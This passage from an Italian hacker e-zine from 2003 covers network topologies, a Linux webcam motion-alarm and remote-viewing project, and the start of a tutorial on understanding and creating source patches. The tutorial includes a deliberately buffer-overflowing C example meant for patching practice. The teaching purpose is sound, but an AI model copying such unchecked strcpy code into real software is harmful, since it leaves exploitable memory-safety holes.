| Pc1 Pc2 Pc3 |
| | | | |
| PC --------------------------|| |
| SERVER | | |
| Pc4 Pc5 |
| |
| |
| --- Rete ad Anello --- |
| |
| Questa rete è detta così per la sua struttura ad anello, in pratica |
| ogni nodo della rete e collegato in maniera univoca mediante |
| connessione pp (point-point), al nodo adiacente, quindi ogni nodo sarà |
| legato in maniera unidirezionale ad almeno un altro nodo (figura 4). |
| Unidirezionale in quanto un pc non potrà comunicare con il pc che lo |
| precede senza aver prima attraversato tutti i nodi che |
| compongono "l'anello", fino a giungere al nodo col quale desidera |
| comunicare. |
| Per il motivo appena descritto ciascun nodo deve essere in grado di |
| confrontare il proprio indirizzo con quello che si trova sul messaggio |
| che viene trasmesso per agire di conseguenza. Cerchiamo di capire |
| meglio, osserviamo la figura 4. |
| |
| Figura 4. |
| |
| Pc1 ----> Pc2 ----> Pc3 |
| ^ | |
| | | |
| Pc6<----- Pc5 <---Pc4 |
| |
| Supponiamo che il Pc1 voglia comunicare con il Pc4, allora il Pc1 |
| (10.10.10.1) inizierà la comunicazione del messaggio, sul quale vi sarà |
| scritto l'indirizzo del Pc4 (10.10.10.4), ora il messaggio prima di |
| giungere al Pc4 dovrà necessariamente passare tramite i due nodi che lo |
| precedono ovvero il Pc2 ed il Pc3. Questi due nodi non faranno |
| nient'altro che andare a leggere l'indirizzo scritto nel messaggio e |
| confrontarlo con il proprio, essendo il Pc2 di indirizzo 10.10.10.2, |
| quindi non equivalente a quello scritto sul messaggio (ricordo che sul |
| messaggio vi è scritto l'indirizzo del Pc4, ovvero 10.10.10.4), invierà |
| il messaggio al nodo successivo ovvero al Pc3 il quale confronterà il |
| proprio indirizzo con quello del messaggio ma anche questa volta non si |
| equivalranno, quindi lo instraderà verso il Pc4 il quale farà la stessa |
| operazione di confronto ma in questo caso non ritrasmetterà |
| ulteriormente il messaggio in quanto è giunto a destinazione. |
| Il principale vantaggio è che l'instradamento in questo tipo di rete è |
| estremamente semplice in quanto ogni nodo deve semplicemente comunicare |
| in maniera unidirezionale con il nodo adiacente, ma il problema di |
| questa struttura è il rischio che il blocco di un solo nodo può portare |
| alla paralisi completa dell'intera rete, per i motivi precedentemente |
| illustrati. |
| |
| --- Rete a Stella --- |
| |
| Ed eccomi giunto a descrivere l'ultima delle topologie di rete che |
| tratterò, ovvero quella a stella (figura 5). Questa struttura si |
| caratterizza per la collocazione centrale di un "Pc Master",il quale |
| può smistare ed instradare i messaggi provenienti dagli altri "Pc |
| Slave"
, ad esso collegati. |
| Al pc centrale sono collegati in maniera bidirezionale tutti gli altri |
| pc della rete. In maniera bidirezionale in quanto ogni pc appartenente |
| alla rete non potrà comunicare in alcun modo con un altro pc se non |
| passando per il pc centrale, e quindi mandando dati al "Master" e |
| ricevendone solo ed esclusivamente dallo stesso. |
| |
| Figura 5. |
| |
| Pc1 Pc2 |
| \ / |
| \ / |
| Pc |
| Master |
| / \ |
| / \ |
| Pc3 Pc4 |
| |
| Pc Master: l'unità fondamentale della rete senza la quale la rete |
| cesserebbe di esistere. |
| Pc Slave: le unita subordinate all'unità centrale ovvero alla Master. |
| Principale debolezza di questa struttura è la dipendenza dal computer |
| Master, quindi nel caso questo cada, l'intera rete smetterà di |
| funzionare. |
| |
| |
| ------------- |
| Nel prossimo articolo parlerò dei punti lasciati in sospeso in questo |
| articolo. |
| Spero di essere stato di aiuto a tutti quelli che necessitavano di una |
| guida per apprendere i concetti basilari delle strutture di rete. |
| |
| ------------ |
| Author: l1l0 |
| e-mail: l1l0@autistici.org |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #09 - 01/06/2003 |
| I0, LiNUX ED UNA WEBCAM [ink] 0x08/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| "Io, Linux ed una webcam" |
| di inkompatible (inkompatible@yahoo.it) (C) 2003 |
| |
| Questo articolo è reperibile anche CORREDATO DI IMMAGINI in html presso |
| http://utenti.lycos.it/inkompatible |
| |
| In questo articolo vi spieghero' come divertirsi per mezzo di un |
| sistema Linux, una webcam supportata dal suddetto os e un po' di |
| fantasia. |
| |
| -- Indice -------------------------------------------------------------- |
| ------------------------------------------------------------------------ |
| 1 - La folgorazione |
| 2 - Il software |
| 3 - (La webcam) |
| 4 - Progetto 1: il controlla cancello |
| 5 - Progetto 2: come ti sorveglio casa da remoto |
| 6 - Ringraziamenti, saluti e conclusioni |
| |
| 1- La folgorazione ----------------------------------------------------- |
| ------------------------------------------------------------------------ |
| Stavo armeggiando come al mio solito con i cavi dietro il mio porta |
| computer quando, con il cavetto della webcam in mano, mi volto verso la |
| finestra retrostante, e vengo improvissamente folgorato dalla simpatica |
| immagine della mia webcam, appiccicata con lo scotch sul vetro della |
| finestra :) ; mi metto dunque a pensare a possibili applicazioni |
| pratiche della mia visione... |
| |
| |
| 2- Il software --------------------------------------------------------- |
| ------------------------------------------------------------------------ |
| Ma come dico sempre io: << tra il dire e il fare c'e' di mezzo |
| il software >> e quindi mi metto a smanettare in rete e cerco qua e la |
| qualcosa che mi possa servire da spunto: ovviamente mi imbatto subito |
| nel sito del video4linux (http://www.exploits.org/v4l) dove vedo per la |
| millesima volta il solito elenco di programmi che c'e' da sempre; noto |
| pero' un programma interessante che non avevo mai preso in |
| considerazione: motion (http://motion.technolust.cx). |
| Motion e' un programma (a mio parere molto ben fatto) che riesce a |
| "percepire" e a localizzare i movimenti all'interno di un flusso video |
| (che nel nostro caso viene da una webcam) e a salvarli in snapshot |
| formato immagine; anche io ho subito pensato ad un possibile impiego |
| come sistema di sicurezza (che mente ! :) ed infatti sono molti ad |
| utilizzarlo per questo scopo... gia' vedo la mia Philips Toucam Pro XS |
| "aggrappata" alla finestra che controlla chi viene :P. |
| |
| Adesso, oltre che a motion, dato che di cose ne vogliamo far tante, |
| abbiamo bisogno di qualche altro applicativo che non puo' mancare, non |
| solo in questa occasione, ma anche per l'uso "normale" di una webcam |
| su linux; sto' parlando di applicativi per il cosidetto "grabbing" |
| (prendere l'output della webcam e portarlo in snapshot). qui di seguito |
| ve ne consiglio alcuni che personalmente preferisco per l'efficenza e |
| la praticita': |
| |
| - camstream (http://www.smcc.demon.nl/camstream) |
| visualizzatore e grabber per X, (scritto in Qt). |
| |
| - vidcat (parte di w3cam: http://www.hdk-berlin.de/~rasca/w3cam) |
| grabber da riga di comando molto comodo non vi puo' mancare. |
| |
| - motv |
| visualizzatore che gira su X per chi non ha troppe pretese. |
| |
| - effectv (http://effectv.sourceforge.net) |
| visualizza l'output della webcam applicando ben 36 effetti (non e' |
| "utilissimo" ma e' molto divertente :D ; attenzione: richiede le |
| librerie SDL) |
| |
| |
| 3- (La webcam) --------------------------------------------------------- |
| ------------------------------------------------------------------------ |
| Approfitto, prima di iniziare, per fare una parentesi: do' per scontato |
| che voi abbiate una webcam funzionante, ma nel caso aveste una cam e |
| non sappiate come farla girare su Linux vi dico che l'operazione e' |
| relativamente semplice; vi bastera' fare un salto sul sito del |
| video4linux (www.eploits.org/v4l) e guardare se esiste un driver per la |
| vostra webcam. |
| Generalmente le Philips e le Logitech sono quasi tutte supportate e i |
| driver generici si trovano anche nei kernel nuovi |
| (/usr/src/linux/drivers/

  
usb); e' comunque ovvio che se avete una webcam |
| comprata all'ipercoop :P prodotta da una casa sconosciuta, l'unico modo |
| per farla girare e' utilizzarla su Windows... ma si tratta di casi |
| sporadici. |
| Indicativamente per rendere operativa la vostra webcam (sempre che sia |
| supportata) bisogna caricare i rispettivi moduli (se non si caricano |
| dovete ricompilare il kernel opportunamente): |
| |
| # modprobe usbcore |
| # modprobe usb-ohci (oppure usb-uhci o usb-ehci a seconda del bus) |
| # modprobe videodev |
| # modprobe nome_driver_appropriato (es: modprobe ov511) |
| |
| |
| Nota: tutte le prove sono state fatte su un sistema GNU/Linux Slackware |
| 8.1 e con una webcam Philis ToUcam pro XS (driver ov511) da root. |
| |
| |
| 4- Progetto 1: il controlla cancello ----------------------------------- |
| ------------------------------------------------------------------------ |
| Bene, adesso mettiamo in pratica tutto quello che sappiamo, e proviamo |
| a farci un "controlla cancello", o un "controlla finestra", o un |
| "controlla porta", o un "controlla computer"...inzomma "controlla |
| <quello che vi pare>"
; avremo bisogno di motion (e' una buona occasione |
| per impararlo ad usare) e di qualcosa che ci segnali l'arrivo di |
| di qualcuno, come un riproduttore di file audio da riga di comando |
| (play). |
| |
| Prendete la vostra webcam (se e' necessario usate una prolunga usb) e |
| fissatela su una finestra, o di fronte alla porta, oppure lasciatela li' |
| vicino al computer a seconda di cosa volete fare; caricate poi tutti i |
| moduli per renderla operativa. |
| Adesso lasciate stare la webcam e fate un salto su |
| http://motion.sourceforge.net e scaricate la versione piu' aggiornata |
| di motion. |
| A questo punto leggiamoci il man di motion... noterete che questo bel |
| programma ha molte funzioni e impiegherete un bel po' ad impararlo ad |
| utilizzare, ma per ora a noi ci bastano le opzioni principali; prima di |
| tutto dovete sapere che motion (faccio riferimento alla versione 3.0.5) |
| si puo' configurare sia da riga di comando che tramite un motion.conf . |
| Quando lo installate infatti (prima del make) date una occhiata al |
| motion.conf nella dir dove avete spacchettato il tar.gz : quelle sono |
| le opzioni che il motion prendera' come default; io vi consiglio di |
| "commentarle" (con il #) tutte in modo da poter poi fare un vostro |
| motion.conf come piu' vi piace senza il pensiero dei settaggi di |
| default. |
| |
| Per il nostro progetto sara' opportuno scrivere un motion.conf (nella |
| dir in cui stiamo lavorando) come piu' ci torna comodo; il mio fa' |
| piu' o meno cosi': |
| |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| |
| # motion.conf personalizzato |
| |
| videodevice /dev/video0 # imposta la device di default |
| |
| target_dir shots # imposta la dir dove mettera' gli snapshot |
| # una volta rilevato un movimento |
| # (quella di default e' la dir corrente) |
| |
| quality 100 # imposta la qualita' degli snapshot JPEG da |
| # 0 a 100 (default 75) |
| |
| drawtext_user CANCELLO # imposta la scritta "CANCELLO" in basso a |
| # sinistra di ogni snapshot |
| |
| drawtext_changes on # attiva la notifica in basso a destra degli |
| # snapshot che indica il num. dei pixel |
| # in cambiamento |
| |
| drawtext_shots on # attiva la dicitura sugli snapshot |
| # (sotto in num. dei pixel) del tipo giorno, |
| # mese, anno, ora, minuti, secondi, num. del |
| # frame |
| |
| execute ./script.sh # imposta quale comando eseguire una volta |
| # percepito un "evento" (una sequenza di |
| # movimenti) |
| |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| |
| Il codice spiega da solo, man ci sono solo un paio di cose da |
| dire: nel caso del "execute ./script.sh", script.sh e' uno scriptino |
| shell che avvia un programma che legge un file audio .wav |
| pre-registrato che dice una cosa tipo << arriva qualcuno >>; il |
| contenuto dello script sarebbe: |
| |
| ~~~~~~~~~~~~~~~ |
| |
| #!/bin/sh |
| |
| play avviso.wav |
| |
| ~~~~~~~~~~~~~~~ |
| |
| ...ma voi potete farci quello che vi pare, ad esempio loggare in un |
| file l'evento (cosa piuttosto inutile dato che motion fa uno snapshot |
| con la data :D). |
| Comunque sappiate che tutte queste impostazioni si possono dare anche da |
| linea di comando (es: motion -d /dev/video0 -t shots) e che io ve le ho |
| presentate cosi' per un fatto di comodita'. |
| |
| Motion ha tantissime altre opzioni "secondarie" che sono spiegate |
| molto bene nel man; tra queste quelle che uso di piu' sono tutte da |
| riga di comando (sono infatti occasionali): |
| |
| -O comando # comando da eseguire una volta salvato lo snapshot |
| # (il nome dello snapshot .jpg viene dato come argomento) |
| |
| -L noise # specifica il "noise", ossia il disturbo dovuto |
| # alla bassa risoluzione delle webcam; piu' il numero e' |
| # alto meno il motion sara' sensibile nel percepire i |
| # movimenti |
| |
| -M address@address.com # manda una mail all'indirizzo specificato |
| # quando percepisce un movimento |
| |
| -N # non fa gli snapshot "normali" (per le prove) |
| |
| -Q # non fa il "beep" quando percepisce un movimento |
| |
| Direi che possono bastare. Per tutti gli altri comandi attaccatevi al |
| man :D . |
| |
| Una volta piazzata la cam, scritto il motion.conf e lo scriptino |
| (quello che che fa parire la voce registrata), mettete il .conf in una |
| dir temporanea (es: /mot), fate una dir per gli shots (es: /mot/shots), |
| aggiustate il livello delle casse, avviate motion, spengete lo schermo |
| (senno' consuma ! :D) e andate a guardare tutti i porno che vi pare, |
| tanto se torna mamma il computer vi avvisa :P ! |
| |
| |
| 5- Progetto 2: come ti sorveglio casa da remoto ------------------------ |
| ------------------------------------------------------------------------ |
| Adesso proviamo a fare una cosa un po' piu' complicata; avete bisogno |
| di: |
| |
| - apache funzionante |
| - un grabber (camstream, vidcat ecc.) |
| - un browser che supporta javascript |
| |
| Un po' di tempo fa' ho letto da qualche parte una cosa simile a |
| quella che vi sto per proporre e a suo tempo mi colpi' molto; mi e' |
| rimasta impressa, ma non ricordo come e dove l'ho letta (forse in rete |
| ? o su una rivista ?), quindi ve la ripropongo a modo mio (non so se |
| rimarro' fedele al testo originale). |
| |
| L'idea e' quella di tenere un grabber a fare snapshot su un file |
| definito in ciclo continuo (ogni 5/10 secondi) e di scrivere una pagina |
| html che con l'ausilio di javascript (aime' non abbiamo alternative...) |
| ricarichi ogni tot secondi l'immagine e la faccia vedere a centro |
| pagina. Ovviamente questo sistema si puo' utilizzare sia con il |
| computer connesso 24 ore su 24 (chi ha l'adsl flat se lo puo' |
| permettere), sia con l'mgetty che aspetta una chiamata sul modem |
| (preferibile per i 56K). |
| |
| Sappiate che riguardo a questa idea esistono molti programmi come |
| camserv e webcam_server che fanno proprio quello che vogliamo |
| realizzare noi... ma spesso sono noiosi da configurare, anche perche' |
| ci si deve limitare a cio' che ci pone il programma, mentre facendolo |
| da noi possiamo ampliare il nostro progetto con molte modifiche a |
| seconda della situazione in cui ci troviamo... |
| e comunque vi assicuro che fare qualcosa di proprio da molta piu' |
| soddisfazione che limitarsi a configurare un programma di altri. |
| |
| Passiamo all'azione. |
| Per comodita' presupporro' che il file che ci funge da intermediario |
| tra il grabber e la pagina web sia "shot.jpg" e che, sia la pagina web |
| che lo stesso file, si trovino in /var/www/htdocs/webcam |
| (/var/www/htdocs e' la dir di apache usata come DocumentRoot molto |
| spesso nelle configurazioni di default). |
| |
| Dobbiamo ora scegliere se utilizzare un grabber da linea di comando |
| (vidcat) o se da grafica (camstream). |
| |
| Nel primo caso ci bastera' fare uno scriptino che chiami ogni 5 secondi |
| (modificate il tempo a piacere) il grabber: |
| |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| |
| #!/bin/sh |
| #/var/www/htdocs/webcam/grab.sh |
| |
| while true |
| |
| do |
| |
| sleep 5s; |
| |
| # qui i comandi per effettuare il grab su shot.jpg |
| # es: vidcat -d /dev/video0 -f jpeg -o shot.jpg -q 100 |
| |
| done |
| |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| |
| Nel secondo caso invece ci bastera' configurare oppurtunamente il |
| programma dalla grafica; si prenda per esempio camstream: una volta |
| avviato (da un xterm posizionato su /var/www/htdocs/webcam) bastera' |
| avviare una sessione webcam e configurare il timer degli snapshots su 5 |
| secondi e il grabber del programma su shot.jpg . Bisognera' pero' in |
| questo caso lasciare camstream aperto fisso... non e' molto elegante ma |
| vi permette di vedere senza tanti marchingegni cosa sta' andando in cam |
| se siete a casa. |
| |
| Bene, adesso non rimane che scrivere la pagina web: |
| |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| |
| <html> |
| |
| <head> |
| <title>Webcam</title> |
| |
| <script language="JavaScript"> |
| function caricaShot(){ |
| theDate = new Date(); |
| url="shot.jpg"; |
| |
| url+="?x="; // sistema per ingannare la cache del |
| // browser |
| |
| url+=theDate.toString(10); |
| document.immagine.src=url; |
| theTimer=setTimeout("caricaShot()", 5000); |
| } |
| </script> |
| |
| </head> |
| |
| <body bgcolor=grey onLoad="javascript:caricaShot()"> |
| |
| <br><br> |
| <table border=1 align=center> |
| <tr><td><img src="shot.jpg" name="immagine"></td></tr> |
| </table> |
| |
| </body> |
| |
| </html> |
| |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| |
| Vi faccio notare l'astuto marchingegno utilizzato per ingannare la |
| cache del browser: si crea una var temporanea (x) che contiene la data e |
| l'ora che viene aggiunta al nome del file .pjg (es: |
| shot.jpg?x=Wed%20Jan%2001%202003%2015:24:06%20GMT+0100%20(CET)) in modo |
| che il browser ricarichi l'immagine senza rileggerla dalla cache (dato |
| che il nome del file e' sempre il medesimo). |
| |
| Ah, breve parentesi, il codice java per ingannare la cache non e' mio |
| :D (non sono cosi' bravo in java...anzi non lo sono per niente!) |
| ma dell'autore originale (e comunque se non era cosi' era molto |
| simile). |
| |
| ...Sarete poi voi ad abbellire la pagina con tutte le vostre cose (tipo |
| una scritta << webcam attiva >> o altre futilita' del genere :P). |
| |
| Adesso pero' prima di poter utilizzare il nostro stupendo sistema |
| dobbiamo risolvere qualche problemino con apache; infatti ci siamo |
| dimenticati di una cosa: siete proprio sicuri che vogliate che tutto il |
| mondo veda quello che vi succede in casa ? :D |
| Ci basta dunque settare apache in modo che protegga con password la dir |
| webcam oppure mettere un piccolo form di richiesta password in php |
| direttamente nella pagina web... ma dato che non tutti hanno php |
| configurato su apache vi consiglio di impostare a mano una protezione |
| direttamente sul web server; |
| allora creiamo intanto un file dove metteremo gli utenti e le password |
| per la directory /var/www/htdocs/webcam ed impostiamo un primo utente |
| per mezzo del programma apposito htpasswd : |
| |
| # htpasswd -c /etc/apache/pwd_webcam utente1 |
| New password: |
| Re-type new password: |
| Adding password for user utente1 |
| |
| una volta creato il file e impostato almeno un utente modifichiamo l' |
| httpd.conf a dovere inserendo la dicitura: |
| |
| <Location /webcam> |
| AuthType Basic |
| AuthName "Webcam password" |
| AuthUserFile /etc/apache/pwd_webcam |
| Require valid-user |
| </Location> |
| |
| in questo modo apache richiedera', ogni qualvolta si voglia accedere |
| alla directory webcam, gli appropriati utente e password. Volendo |
| potrete aggiungere piu utenti e password nel file pwd_webcam se volete |
| per esempio dare accesso temporaneamente ad altre persone. |
| |
| Alla fine avrete un sistema economico e sicuro per controllare casa |
| vostra da remoto! |
| |
| 6- Ringraziamenti, saluti e conclusioni -------------------------------- |
| ------------------------------------------------------------------------ |
| Vi dico gia' che spero di poter scrivere nel prossimo numero di |
| OndaQuadra un altro articolo (che suonera' tipo "Io, Linux ed una |
| webcam |
| parteseconda"
) nel quale vi illustrero' come ampliare il "Progetto 2" in |
| modo da poter vedere da remoto i "movimenti registrati" per mezzo di |
| motion e un po' di php. |
| |
| Prima di terminare permettetemi di fare un ringraziamento al mio amico |
| nomero che mi ha mandato i 7 cd di "quella distro che non ho i soldi per |
| pagare"
:) e che mi fa vincere a scacchi ;) ; poi ancora un saluto a |
| JEYoNE che e' sempre disponibile e che era tanto entusiasta del mio |
| articolo e mi ha incitato a farlo pubblicare. |
| |
| Un grazie ancora a quel geniaccio di Jeroen Vreeken che ha scritto il |
| motion...e al "vi" che mi e' sempre fedele. |
| |
| Grazie di aver letto questo articolo che con cotanta dedizione vi ho |
| preparato e spero di trovarvi numerosi anche nel prossimo numero. |
| |
| Per qualunque problema, consiglio, commento ecc. non esitate a |
| contattarmi: inkompatible@yahoo.it |
| |
| Questo articolo è reperibile anche CORREDATO DI IMMAGINI in html presso |
| http://utenti.lycos.it/inkompatible |
| |
| - inkompatible - |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #09 - 01/06/2003 |
| PATCH ?!? MA Si MANGiAN0? [spyro] 0x09/0x20 |
+--------------------------------------------------------------------------+
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| |
| / - |
| |--> /Disclaimer |
| |--> /Introduzione |
| |--> /Teoria_e_Requisiti |
| |--> /Creazione_manuale_patch |
| |--> /Creazione_automatica_patch |
| |--> /Ringraziamenti_e_saluti |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| bash# cd /Disclaimer |
| bash# cat disclaimer.txt |
| |
| Tutto quello che riporterò qui di seguito è di solo scopo informativo. |
| Pertanto se causerete danni a voi o verso terzi la responsabilità è |
| solo vostra. |
| Al giorno d'oggi la rete purtroppo è piena di lamer e io con questo |
| testo non voglio contribuire alla nascita di nuovi, quindi pensateci |
| due volte prima di mettere in atto queste informazioni. |
| Io ho scritto questo testo soltanto x mettere in evidenza i problemi |
| di sicurezza riguardanti la rete. |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| bash# cd /Introduzione |
| bash# cat introduzione.txt |
| |
| Quanto tempo...rieccomi a scrivere qualcosa. |
| Oggi cercherò di spiegarvi al meglio un argomento fondamentale nel |
| campo della sicurezza, ovvero capire, usare, creare le patch per i |
| nostri amati programmi. |
| Premetto che mi baserò sul sistema linux. |
| Come avrete notato sulle varie mailinglist, forum, siti web, ecc.. |
| le case scrittrici di software rilasciano spesso queste famose patch |
| per i propri programmi. |
| Il perchè è presto detto, ovvero, i software sono programmati da |
| persone e siccome nessuno è perfetto, ci si imbatte spesso in |
| errori(bug) all'eseguzione o in alcune funzioni di determinati |
| programmi. |
| Bug che spesso rendono possibili comandi arbitrari da parte di utenti |
| indesiderati verso la nostra macchina. |
| Una volta scovato un determinato bug su un programma, gli stessi ben |
| amati programmatori corrono al riparo correggendo il codice sorgente |
| del software. |
| Non potendo, logicamente, far uscire una versione nuova del programma |
| per ogni ritocco che le viene attuato, vengono rilasciate queste famose |
| patch. |
| Andiamo a vedere cosa sono, come sono strutturare, come agiscono,ecc... |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| bash# cd /Teoria_e_Requisiti |
| bash# cat teoria_e_requisiti.txt |
| |
| Le patch sono dei comunissimi file di testo che hanno un propria |
| struttura e logica di funzionamento. |
| Oltre a istruzioni basilari, una patch contiente le stringhe del codice |
| sorgente originale di un tale programma, e le istruzioni nuove che |
| andranno a sostituirsi con quelle vecchie. |
| Logicamente non viene riportato l'intero sorgente originale, ma solo |
| le istruzioni che causano il o i bug. |
| Vi propongo un esempio analizzando una patch rilasciata per il demone |
| ftp: wuftpd |
| |
| ------- Inizio Patch: -------- |
| |
| Index: src/ftpd.c |
| =================================================================== |
| RCS file: /cvsroot/wu-ftpd/src/ftpd.c,v |
| retrieving revision 1.113 |
| diff -u -r1.113 ftpd.c |
| --- src/ftpd.c 2000/07/07 22:17:38 1.113 |
| +++ src/ftpd.c 2000/08/29 17:26:23 |
| @@ -7274 +7274 @@ |
| int which; |
| struct aclmember *entry = NULL; |
| (void) acl_getclass(class); |
| - while (getaclentry("port-allow", &entry)) { |
| + while (getaclentry("pasv-allow", &entry)) { |
| if ((ARG0 != NULL) && (strcasecmp(class, ARG0) == 0)) |
| for (which = 1; (which < MAXARGS) && (ARG[which] != NULL); which++) { |
| |
| if (hostmatch(ARG[which], remoteaddr, NULL)) |
| |
| |
| -------- Fine Patch --------- |
| |
| La patch comincia ad essere interpretata dalle stringhe dove viene |
| dichiarato la fine della scrittura del vecchio sorgente con relativo |
| percorso: |
| |
| --- src/ftpd.c 2000/07/07 22:17:38 1.113 |
| |
| I tre meno stanno a indicare che le modifiche andranno ad effettuarsi |
| sul file che stanno nella directory src/ , quindi questo fa |
| intendere che questa patch andrà spostata e eseguita nella |
| directory principale del pacchetto del software, infatti: |
| |
| bash-2.05a$ cd wu-ftpd-2.6.1 |
| - |
| bash-2.05a$ ls |
| CHANGES COPYRIGHT INSTALL Makefile.in README.AUTOCONF |
| config.guess config.h.noac configure doc makefiles |
| support CONTRIBUTORS ERRATA LICENSE README build |
| config.h.in config.sub configure.in install-sh src util |
| - |
| bash-2.05a$ ls -l src/ftpd.c |
| -rw-r--r-- 1 spyro users 192158 Jul 1 2000 src/ftpd.c |
| bash-2.05a$ |
| |
| Come potrete notare il percorso del sorgente ftpd.c coincide, |
| mentre la data dell'ultima modifica no. |
| Questo perchè penso che la data all'interno della patch si basa |
| su quella precedentemente rilasciata. |
| Torniamo al codice. |
| Subito dopo troviamo: |
| |
| +++ src/ftpd.c 2000/08/29 17:26:23 |
| |
| Vediamo che i 3 + servono ad indicare il rilascio della patch. |
| |
| Tutto quello che sta sopra: |
| |
| Index: src/ftpd.c |
| =================================================================== |
| RCS file: /cvsroot/wu-ftpd/src/ftpd.c,v |
| retrieving revision 1.113 |
| diff -u -r1.113 ftpd.c |
| |
| viene visualizzato come output di informazione al momento |
| dell'eseguzione della patch con particolari flag; |
| Approfondirò meglio in seguito. |
| |
| @@ -7274 +7274 @@ |
| |
| Questa istruzione indica che le stringhe di codice che seguiranno |
| dovranno essere effettuate dalla riga 7274 del codice sorgente |
| originale sostituendo l'istruzione esistente con quella nuova. |
| Infine: |
| |
| int which; |
| struct aclmember *entry = NULL; |
| (void) acl_getclass(class); |
| - while (getaclentry("port-allow", &entry)) { |
| + while (getaclentry("pasv-allow", &entry)) { |
| if ((ARG0 != NULL) && (strcasecmp(class, ARG0) == 0)) |
| for (which = 1; (which < MAXARGS) && (ARG[which] != |
| NULL); which++) { |
| |
| if (hostmatch(ARG[which], remoteaddr, NULL)) |
| |
| la stringa che inizia con il meno, è quella che sarà sostituita con |
| quella nuova che inizia con il più. |
| La parte del codice che sta prima e dopo: |
| |
| - while (getaclentry("port-allow", &entry)) { |
| + while (getaclentry("pasv-allow", &entry)) { |
| |
| Non sono altro che le istruzioni del codice sorgente che non verranno |
| assolutamente intaccate, ma saranno usate come ulteriore punto di |
| riferimento per la sostituzione delle stringhe precedentemente |
| riportate. |
| |
| Come avete potuto notare, non è difficile capire il suo funzionamento |
| e tanto meno la sua creazione. |
| Prima di passare alla spiegazione per la crezione di queste patch, |
| vediamo come si installano. |
| |
| Io ho preso come software: wuftpd-2.6.1 |
| E come Patch: pasv-port-allow-correction.patch |
| |
| Ecco gli url per scaricare entrambi i file: |
| |
| Demone: ftp://ftp.wu-ftpd.org/pub/wu-ftpd/wu-ftpd-2.6.1.tar.gz |
| |
| Patch: |
| ftp://ftp.wu-ftpd.org/pub/wu-ftpd/patches/apply-to-2.6.1/pasv-port- |
| allow-correction.patch |
| |
| Dopo che avete scaricato iniziamo la procedura: |
| |
| tar xvfz wu-ftpd-2.6.1.tar.gz |
| cd wu-ftpd-2.6.1 |
| |
| Adesso ci spostiamo la patch e usiamo il programma che guarda caso |
| si chiama patch, per installarla. |
| Per maggiori informazioni sul programma patch vi rimando al suo man |
| (man patch), ecco la sintassi di uso: |
| |
| NAME |
| patch - apply a diff file to an original |
| |
| SYNOPSIS |
| patch [options] [originalfile [patchfile]] |
| |
| but usually just |
| |
| patch -pnum <patchfile |
| |
| Andreamo ad usare la flag: -p |
| |
| Sempre dal man: |
| |
| -pnum or --strip=num |
| |
| Strip the smallest prefix containing num leading slashes |
| from each file name found in the patch file. A sequence of |
| one or more adjacent slashes is counted as a single slash. |
| This controls how file names found in the patch file are treated, |
| in case you keep your files in a different directory than the person |
| who sent out the patch. |
| For example, supposing the file name in the patch file was |
| |
| /u/howard/src/blurfl/blurfl.c |
| |
| setting -p0 gives the entire file name unmodified, -p1 gives |
| |
| u/howard/src/blurfl/blurfl.c |
| |
| without the leading slash, -p4 gives |
| |
| blurfl/blurfl.c |
| |
| and not specifying -p at all just gives you blurfl.c. |
| Whatever you end up with is looked for either in the current |
| directory, or the directory specified by the -d option. |
| |
| La flag -p con relativo numero serve per specificare ulteriori |
| modifiche del nome alla patch o no. |
| |
| Mettiamo in pratica la sintassi: |
| |
| bash-2.05a$ patch -p0 <pasv-port-allow-correction.patch |
| patching file src/ftpd.c |
| bash-2.05a$ |
| |
| Se invece vogliamo specificare un altro percorso del file da |
| patchare, useremo -p1 e lo immetteremo alla richiesta del |
| programma. |
| Ottimo, il sorgente è stato modificato con successo, per sicurezza |
| controllare con qualche editor il sorgente e fare una ricerca al |
| suo interno. |
| |
| Adesso per l'uso del demone patchato, basta installarlo con la |
| normalissima procedura. |
| Questo ci fa capire che ogni volta che esce una patch per un |
| determinato programma, dobbiamo scaricarla, inserirla |
| nel pacchetto dei sorgenti originali e ricompilare il tutto; |
| Altrimenti scaricare il pacchetto apposito per la vostra distro |
| con le patch già applicate. |
| Guardando il codice di una patch viene da pensare che è pallosissimo |
| crearle se le modifiche da fare sul sorgente del programma originale |
| sono molte. |
| Per fortuna ci viene in contro un utilissimo programma già |
| compreso nel pacchetto della nostra linux box. |
| Vediamo come creare queste benedette patch. |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| bash# cd /Creazione_manuale_patch |
| bash# cat creazione_manuale_patch.txt |
| |
| Come esempio creeremo un semplicissimo programmino in C che conterrà |
| un evidente errore nel codice sorgente il quale provocherà un |
| buffer overflow. |
| Non voglio dilungarmi sulla spiegazione del buffer overflow, anche |
| xchè ne parlano tutti e in giro si trovano miliardi di documetni a |
| riguardo. |
| |
| ---- Codice Bug ----- |
| |
| #include <stdio.h> |
| int main() { |
| char buf[3]; |
| strcpy(buf,"cccccccccccccccccccccccccccccccccccccccccccccccccccccc"); |
| return 0; |
| } |
| |
| --- End Of buff.c ----- |
| |
| Compiliamolo e lanciamolo: |
| |
